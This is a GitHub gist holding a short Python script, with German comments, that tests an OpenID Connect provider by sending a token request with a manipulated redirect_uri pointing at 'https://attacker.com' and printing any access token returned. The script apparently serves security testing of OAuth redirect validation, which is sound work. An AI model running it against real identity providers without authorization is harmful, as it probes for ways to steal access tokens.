Skip to content

Instantly share code, notes, and snippets.

@thomashartm
Last active January 12, 2023 14:04
Show Gist options
  • Save thomashartm/7d83889d3cd704e443f4772be64df969 to your computer and use it in GitHub Desktop.
Save thomashartm/7d83889d3cd704e443f4772be64df969 to your computer and use it in GitHub Desktop.
Testing script for sending manipulated parameters to an OpenIdConnect Endpoint.
import requests
import json
# Konfiguration
client_id = "your_client_id"
client_secret = "your_client_secret"
issuer = "https://your_issuer.com"
redirect_uri = "https://your_redirect_uri.com"
# Anmelde-Anfrage
auth_url = issuer + "/auth?response_type=code&client_id=" + client_id + "&redirect_uri=" + redirect_uri
r = requests.get(auth_url)
# Auswertung der Anmelde-Antwort
if r.status_code == 200:
print("Anmelde-Anfrage erfolgreich.")
else:
print("Fehler bei der Anmelde-Anfrage.")
# Token-Anfrage (mit manipulierten Parametern)
token_url = issuer + "/token"
payload = {
"grant_type": "authorization_code",
"client_id": client_id,
"client_secret": client_secret,
"redirect_uri": "https://attacker.com", # manipulierter Parameter
"code": "valid_code"
}
r = requests.post(token_url, data=payload)
# Auswertung der Token-Antwort
if r.status_code == 200:
print("Token-Anfrage erfolgreich.")
token_response = json.loads(r.text)
access_token = token_response["access_token"]
print("Access Token: " + access_token)
else:
print("Fehler bei der Token-Anfrage.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment